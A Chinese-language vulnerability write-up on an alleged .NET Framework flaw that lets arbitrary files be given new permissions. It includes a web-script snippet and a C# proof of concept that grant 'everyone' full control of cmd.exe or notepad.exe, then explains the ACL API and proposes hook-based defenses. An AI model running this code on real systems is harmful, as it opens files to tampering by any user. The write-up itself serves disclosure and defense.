QTVA-2015-198545、WooYun-2015-104148 .NET Framework Arbitrary File Permissions Modify Vul

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1. Description
2. Effected Scope
3. Exploit Analysis
4. Principle Of Vulnerability
5. Patch Fix

1. Description

通过.NET Framework的这个API漏洞，攻击者可以赋予任意程序文件执行权限

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2015-0104148
https://butian.360.cn/vul/info/qid/QTVA-2015-198545

2. Effected Scope

Microsoft .NET Framework 2.0
Microsoft .NET Framework 3.5
Microsoft .NET Framework 3.5.1
Microsoft .NET Framework 4
Microsoft .NET Framework 4.5
Microsoft .NET Framework 4.5.1

3. Exploit Analysis

try
{
    var strPath:String = "c:\\windows\\temp\\cmd.exe", strUser:String = "everyone";
    /*
    DirectoryInfo类，公开用于创建、移动和枚举目录和子目录的实例方法，此类不能被继承
    https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx
    */
    var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath);

    /*
    GetAccessControl(): 获取DirectorySecurity对象，该对象封装当前DirectoryInfo对象所描述的目录的访问控制列表(ACL)项
    返回一个DirectorySecurity对象，该对象封装此目录的访问控制规则
    https://msdn.microsoft.com/zh-cn/library/t1h6d4k4(v=vs.110).aspx
    */
    var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl();

    /*
    AddAccessRule(FileSystemAccessRule): 将指定的访问控制列表(ACL)权限添加到当前文件或目录
    https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.directorysecurity(v=vs.110).aspx
    public FileSystemAccessRule(
        IdentityReference identity,
        FileSystemRights fileSystemRights,
        AccessControlType type
    )
    1. identity: System.Security.Principal::IdentityReference: 封装对用户帐户的引用的 IdentityReference对象
    2. fileSystemRights: System.Security.AccessControl::FileSystemRights：FileSystemRight 值之一，该值指定与访问规则关联的操作的类型
    3. type: System.Security.AccessControl::AccessControlType: AccessControlType值之一，该值指定是允许还是拒绝该操作
    */
    dirsecurity.AddAccessRule(
        new System.Security.AccessControl.FileSystemAccessRule(
            strUser,
            System.Security.AccessControl.FileSystemRights.FullControl,
            System.Security.AccessControl.AccessControlType.Allow
        ));
    /*
    FileSystemAccessRule类: 表示定义文件或目录的访问规则的访问控制项 (ACE) 的抽象
    https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.filesystemaccessrule(v=vs.110).aspx
    */

    //SetAccessControl: 将DirectorySecurity对象所描述的访问控制列表(ACL)项应用于当前DirectoryInfo对象所描述的目录
    dirinfo.SetAccessControl(dirsecurity);
    Response.Write(strPath+"\t权限添加成功!");

}
catch(x)
{
    Response.Write(x.Message);
}

Relevant Link:

https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx

0x1: POC

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace poc
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                String strPath = "C:\\notepad.exe", strUser = "everyone";
                System.IO.DirectoryInfo dirinfo = new System.IO.DirectoryInfo(strPath);
                System.Security.AccessControl.DirectorySecurity dirsecurity = dirinfo.GetAccessControl();

                dirsecurity.AddAccessRule(
                    new System.Security.AccessControl.FileSystemAccessRule(
                        strUser,
                        System.Security.AccessControl.FileSystemRights.FullControl,
                        System.Security.AccessControl.AccessControlType.Allow
                    )); 

                dirinfo.SetAccessControl(dirsecurity);
                Console.WriteLine(strPath+"\t权限添加成功!");

            }
            catch(Exception x)
            {
                Console.WriteLine(x.Message);
            }
        }
    }
} 

4. Principle Of Vulnerability

使用.NET的Directory类，用户可通过DirectorySecurity对象的下列方法来访问目录的访问控制列表(ACL)

1. GetAccessControl: 返回一个目录的Windows ACL作为一个DirectorySecurity对象
2. SetAccessControl: 将DirectorySecurity对象的ACl入口赋予指定目录 

0x1: DirectorySecurity

DirectorySecurity类定义了如何对目录访问进行审计。该类是潜在的Windows文件安全系统(System.Security.AccessControl命名空间的一部分)的一个抽象，在该系统中，每个目录有一个自由决定的ACL来控制目录访问。同时，一个系统ACL决定对哪些访问控制进行审计。使用两个类来分别处理目录访问和审计

1. FileSystemAccessRule
2. FileSystemAuditRule

ileSystemAccessRule类代表一个潜在的访问控制入口的抽象，访问控制入口用来指定用户账号，提供的访问类型(读、写等)以及是许可或拒绝某个权限。同时，该类还指定了如何将访问规则传递给子对象。FileSystemAuditRule类代表了为某个文件或目录定义审计规则的ACE
为了通过DirectorySecurity类为某个目录添加一条新规则，需要FileSystemAccessRule和FileSystemAuditRule两个类的新实例

1. 第一个参数: 指定每个应用该规则的用户、组或标识
2. 第二个参数: FileSystemRights列表，用来指定用户(由第一个参数指定)可以进行的操作，它包含很多可能的取值，包括
    1) CreateDirectories
    2) CreateFiles
    3) Delete
    4) FullControl
    5) ListDirectory
3. 最后一个参数: 可用来指定用户能否执行参数二的操作。AccessControlType列表包括两个可能取值
    1) 允许
    2) 拒绝
用于FileSystemAuditRule类的第三个参数可从AuditFlags列表的Failure、None或Success中取值来设定审计级别。FileSystemAuditRule类的构造函数是重载的，这个方法是最基本的方法 

需要注意的是，需要使用管理员权限调用DirectorySecurity相关API

Relevant Link:

http://developer.zdnet.com.cn/2007/0510/391302.shtml
http://www.wyxit.com/article/201501/6731.html

5. Patch Fix

.NET Framework和Java JVM本质上是一样的，都是在操作系统之上抽象出了一层虚拟机，从而允许"中间字节码"在虚拟机上运行，从而实现跨平台
在.NET Framework框架中，如果需要调用操作系统API实现操作系统功能，需要通过Native API接口，即通过DLL/SO来调用操作系统API，因此，我们的防御方案可以从以下方向展开

1. .NET Framework DirectorySecurityAPI涉及到的nativa API为
    1) SetSecurityDescriptorDacl
    2) SetFileSecurity
通过DLL/SO Hook实现管控

2. 在内核层执行路径上进行防御

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